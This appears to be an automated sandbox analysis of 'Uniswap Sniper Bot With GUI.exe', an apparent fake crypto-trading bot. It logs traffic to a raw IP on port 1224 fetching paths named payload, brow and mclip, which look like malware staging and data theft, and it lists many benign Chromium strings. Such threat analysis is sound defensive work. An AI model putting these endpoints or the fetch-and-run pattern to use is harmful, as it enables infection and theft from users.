HTTP traffic detected: HTTP/1.1 200 OKX-Powered-By: ExpressAccess-Control-Allow-Origin: *Content-Disposition: attachment; filename="p.zip"Accept-Ranges: bytesCache-Control: public, max-age=0Last-Modified: Wed, 13 Sep 2023 07:44:46 GMTETag: W/"3117874-18a8d7fee11"Content-Type: application/zipContent-Length: 51476596Date: Fri, 13 Dec 2024 08:36:27 GMTConnection: keep-aliveKeep-Alive: timeout=5Data Raw: 50 4b 03 04 0a 00 00 00 00 00 24 80 d0 56 00 00 00 00 00 00 00 00 00 00 00 00 05 00 00 00 2e 70 79 70 2f 50 4b 03 04 0a 00 00 00 00 00 18 80 d0 56 00 00 00 00 00 00 00 00 00 00 00 00 0a 00 00 00 2e 70 79 70 2f 44 4c 4c 73 2f 50 4b 03 04 14 00 00 00 08 00 4f a1 86 55 75 bb 04 c8 68 22 14 00 60 83 34 00 1b 00 00 00 2e 70 79 70 2f 44 4c 4c 73 2f 6c 69 62 63 72 79 70 74 6f 2d 31 5f 31 2e 64 6c 6c ec bd 05 58 d5 4b d7 f7 bf 15 1b 75 63 8b 89 b2 55 6c 74 1b d8 62 c2 11 bb 1b bb 50 0c 54 8e dd b5 45 3d b6 1e bb bb 3b 41 c1 ee 0e 40 6c b1 c0 c6 7e bf 9f 0d 18 e7 7e ee e7 7f 3f ef f5 af f7 ba f6 ef ba fc 31 bf 3d 33 6b d6 5a 33 b3 66 cd 5a 6b c6 da 2d a6 19 ec 0c 06 43 22 fd fb fe dd 60 d8 63 88 7d 2a 1b fe af 1f 87 04 06 43 ea 9c fb 52 1b 76 24 3f 9b 6b 4f 02 af b3 b9 1a 75 ed d6 cf a9 77 5f df 2e 7d db f5 74 ea d0 ae 57 2f 5f 3f a7 f6 9d 9c fa f6 ef e5 d4 ad 97 53 b5 ba 0d 9d 7a fa 76 ec 54 24 55 aa 14 a6 38 18 b7 df dd 6d b7 78 e6 d4 e2 f1 ff 66 3f cf 56 3c 40 7f bf bf 9c 62 5e 68 fd 3b c9 3c c3 fa d7 62 9e 63 fd 3b d9 fc b7 b5 ec 94 e2 06 fd f5 7a 34 c5 3c 53 7f 3f eb f7 51 d6 bf 16 f3 a3 d9 fc 9d 6a 5e 64 fd ee 5d 3c f6 6f 80 f5 bb 41 b7 0e 5d 69 e7 df d1 54 af ba c1 d0 71 5c 32 43 cf 45 df da c7 ff 16 6d c8 ed 64 9f 30 b5 93 e1 82 b0 be 66 b4 fe b6 36 0d 0c b0 26 47 24 30 c4 a5 13 1a 0c 49 ac 3f fd fc 6b 88 2e 61 65 ee a8 a2 25 95 ed 9d 20 be 52 fc 9f 7f fd 8e 4b 76 2d 6a c8 d8 35 a1 21 a2 40 09 43 65 1a f0 2e 61 18 02 50 ef e2 86 e8 59 fa a1 45 09 83 77 7e 7d f7 2e 61 08 ae 6b 30 44 44 14 32 b8 19 fe fd e3 7d a7 50 2c 9c f8 c7 a9 84 21 22 c5 bf 2f 5f c4 af 93 bf 9f fe ce 3c 67 8a 45 08 da 13 fd 5e c6 49 60 8b f4 ed d8 ce af 9d c1 90 31 3a a5 90 50 99 d7 fa 7b c5 14 5b e0 e7 58 aa 5c 24 b6 98 21 d7 20 bd 22 8a 19 0c 85 f4 f7 58 b1 7f 96 0b 2c d2 3b b6 e0 8e c3 09 ac b4 1a 02 f5 f7 f5 bf 94 ab 5c a4 5b 6c b9 36 ce b1 b4 18 68 72 9b f9 5f cb b9 ba 76 e8 dc c5 60 e8 0f ed f5 4a 58 fb c8 70 ed bf 28 d7 b7 5f df 0e 06 43 1c 8f 55 2e 99 fe de f8 af ca 75 f2 f1 55 c1 77 fe b1 bc 37 58 e9 f9 97 72 55 0c ff 87 3c 67 78 22 77 dd 4f 61 88 bc 5b d3 de 10 39 64 70 46 43 e4 c0 be a9 0d 91 47 aa 38 18 22 37 ee 70 36 44 7a 2c 49 6f 88 74 2e 9b d6 10 99 ba 72 26 43 64 f2 a9 09 0c 91 3b 92 39 1a 22 73 e6 cb 6d 88 4c b1 5d bf 85 ac 55 e1 2d 59 13 1a 22 07 87 3b 19 22 57 35 c9 60 88 bc 38 50 a0 42 dd 04 f9 78 82 5c 86 c8 84 d1 59 0c 91 85 a7 19 0d 91 2e 2b 95 72 be 9a d2 10 d9 e6 9b c0 7f 6c a1 c2 c1 73 f4 5a 9c 5a e5 26 d5 54 aa 7a 1a a5 02 a7 a8 5c 8f 5b 7a 75 8e d2 67 d0 97 ec 86 c8 2f Data Ascii: PK$V.pyp/PKV.py

Source: global traffic	HTTP traffic detected: GET /ajax/libs/materialize/1.0.0/css/materialize.min.css HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: " Not A;Brand";v="99", "Chromium";v="102"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) uniswap-sniper-bot-with-gui/1.0.0 Chrome/102.0.5005.167 Electron/19.1.9 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleAccept-Encoding: gzip, deflate, brAccept-Language: en-GB
Source: global traffic	HTTP traffic detected: GET /ftp/python/3.11.0/python-3.11.0-amd64.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: www.python.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /pdown HTTP/1.1Host: 185.153.182.241:1224User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /client/7/701 HTTP/1.1host: 185.153.182.241:1224Connection: close
Source: global traffic	HTTP traffic detected: GET /payload/7/701 HTTP/1.1Host: 185.153.182.241:1224User-Agent: python-requests/2.31.0Accept-Encoding: gzip, deflateAccept: /Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /brow/7/701 HTTP/1.1Host: 185.153.182.241:1224User-Agent: python-requests/2.31.0Accept-Encoding: gzip, deflateAccept: /Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /json HTTP/1.1Host: ip-api.comUser-Agent: python-requests/2.31.0Accept-Encoding: gzip, deflateAccept: /Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /mclip/7/701 HTTP/1.1Host: 185.153.182.241:1224User-Agent: python-requests/2.31.0Accept-Encoding: gzip, deflateAccept: /Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /json HTTP/1.1Host: ip-api.comUser-Agent: python-requests/2.31.0Accept-Encoding: gzip, deflateAccept: /Connection: keep-alive

Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: [yt_channel]: <https://www.youtube.com/channel/UCdRihNiJ0tJ7xpFGKcwZcdQ> equals www.youtube.com (Youtube)
Source: uniswap-sniper-bot-with-gui.exe, 00000007.00000000.2443020695.00007FF6A7F23000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: V8.MemoryHeapUsedV8.MemoryHeapCommittedmail.google.com.gmaildrive.google.com.docsplus.google.com.plusinbox.google.com.inboxcalendar.google.com.calendarwww.youtube.com.youtube.top10sina.com.cnfacebook.combaidu.comqq.comtwitter.comtaobao.comlive.com equals www.youtube.com (Youtube)
Source: uniswap-sniper-bot-with-gui.exe, 00000007.00000000.2443020695.00007FF6A7338000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: chttps://www.baidu.com/s?ie={inputEncoding}&wd={searchTerms}https://www.baidu.com/s?ie={inputEncoding}&word={searchTerms}https://www.baidu.com/{google:pathWildcard}/s?ie={inputEncoding}&word={searchTerms}{google:baseURL}#q={searchTerms}{google:baseURL}search#q={searchTerms}{google:baseURL}webhp#q={searchTerms}{google:baseURL}s#q={searchTerms}{google:baseURL}s?q={searchTerms}https://go.mail.ru/msearch?q={searchTerms}&{mailru:referralID}https://m.so.com/s?ie={inputEncoding}&q={searchTerms}https://m.so.com/index.php?ie={inputEncoding}&q={searchTerms}https://m.sogou.com/web/{google:pathWildcard}?ie={inputEncoding}&keyword={searchTerms}http://searchatlas.centrum.cz/?q={searchTerms}http://hladaj.atlas.sk/fulltext/?phrase={searchTerms}http://isearch.avg.com/search?q={searchTerms}http://search.avg.com/route/?q={searchTerms}&lng={language}https://isearch.avg.com/search?q={searchTerms}https://search.avg.com/route/?q={searchTerms}&lng={language}http://search.babylon.com/?q={searchTerms}http://search.conduit.com/Results.aspx?q={searchTerms}http://www.delfi.lt/paieska/?q={searchTerms}http://www.delta-search.com/?q={searchTerms}http://www1.delta-search.com/home?q={searchTerms}http://www1.delta-search.com/?q={searchTerms}http://www2.delta-search.com/home?q={searchTerms}http://www2.delta-search.com/?q={searchTerms}http://www.search.delta-search.com/home?q={searchTerms}http://www.search.delta-search.com/?q={searchTerms}http://www.yhs.delta-search.com/home?q={searchTerms}http://www.yhs.delta-search.com/?q={searchTerms}http://mixidj.delta-search.com/home?q={searchTerms}http://mixidj.delta-search.com/?q={searchTerms}http://search.goo.ne.jp/web.jsp?MT={searchTerms}&IE={inputEncoding}http://search.goo.ne.jp/sgt.jsp?MT={searchTerms}&CL=plugin&FM=json&IE={inputEncoding}http://search.iminent.com/SearchTheWeb/v6/1033/homepage/Default.aspx#q={searchTerms}http://search.iminent.com/SearchTheWeb/v6/1033/homepage/Result.aspx#q={searchTerms}http://start.iminent.com/?q={searchTerms}http://start.iminent.com/StartWeb/1033/homepage/#q={searchTerms}http://search.incredibar.com/?q={searchTerms}http://mystart.incredibar.com/?search={searchTerms}https://www.neti.ee/cgi-bin/otsing?query={searchTerms}&src=webhttps://www.neti.ee/api/suggestOS?suggestVersion=1&suggestQuery={searchTerms}https://nova.rambler.ru/search?query={searchTerms}https://nova.rambler.ru/suggest?v=3&query={searchTerms}http://www.search-results.com/web?q={searchTerms}http://search.snap.do/?q={searchTerms}http://feed.snapdo.com/?q={searchTerms}http://feed.snap.do/?q={searchTerms}http://en.softonic.com/s/{searchTerms}http://www.softonic.com/s/{searchTerms}http://www.softonic.com.br/s/{searchTerms}http://buscador.softonic.com/?q={searchTerms}http://nl.softonic.com/s/{searchTerms}https://search.softonic.com/?q={searchTerms}https://en.softonic.com/s/{searchTerms}https://www.softonic.com/s/{searchTerms}https://www.softonic.com.br/s/{searchTerms}https://buscador.softonic.com/?q={searchTerms}https://nl.softonic.com/s/{searchTer
Source: uniswap-sniper-bot-with-gui.exe, 00000007.00000000.2443020695.00007FF6A7F23000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: www.youtube.com equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: ip-api.com
Source: global traffic	DNS traffic detected: DNS query: www.python.org
Source: global traffic	DNS traffic detected: DNS query: pypi.org

Source: unknown

HTTP traffic detected: POST /dns-query HTTP/1.1Host: chrome.cloudflare-dns.comConnection: keep-aliveContent-Length: 128Accept: application/dns-messageAccept-Language: *User-Agent: ChromeAccept-Encoding: identityContent-Type: application/dns-message

Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://2x.io)
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/1085
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/1452
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/1452expand_integer_pow_expressionsThe
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/1512
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/1637
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/1936
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2046
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2152
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2152skip_vs_constant_register_zeroIn
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2162
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2273
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2517
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2727
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2894
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2970
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2978
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3027
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3045
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3078
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3153
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3205
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3206
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3243
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3246
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3246allow_clear_for_robust_resource_initSome
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3452
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3498
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3502
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3577
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3584
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3586
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3623
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3624
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3625
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3682
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3682allowES3OnFL10_0Allow
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3729
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3965
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3970
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3997
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4214
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4267
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4324
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4339
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4384
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4405
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4428
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4551
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4633
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4646
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4722
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4722forceRobustResourceInitForce-enable
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/482
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4836
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4889
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4901
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4937
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5007
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5007disable_anisotropic_filteringDisable
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5055
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5061
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5281
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5371
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5375
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5421
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5430
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5469
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5535
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5577
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5658
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5658GPU.ANGLE.DisplayInitializeMSFrontend
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5750
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5750enableCompressingPipelineCacheInThreadPoolEnable
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5901
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6041
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6041forceInitShaderVariablesForce-enable
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6048
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6141
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6248
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6439
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6651
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6692
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6755
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6860
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6878
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6929
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7046
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://bclary.com/2004/11/07/#a-13.2.2
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282244557.0000000005920000.00000004.00001000.00020000.00000000.sdmp, Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://blog.izs.me/)
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282244557.0000000005920000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cr.yp.to/djb.html
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crbug.com/1094869
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crbug.com/110263
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crbug.com/1144207
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crbug.com/1165751
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crbug.com/1165751Disable
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crbug.com/1171371
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crbug.com/1181068
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crbug.com/1181193
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crbug.com/275944
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crbug.com/308366
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crbug.com/378067
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crbug.com/403957
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crbug.com/437891.
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crbug.com/456214
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crbug.com/510270
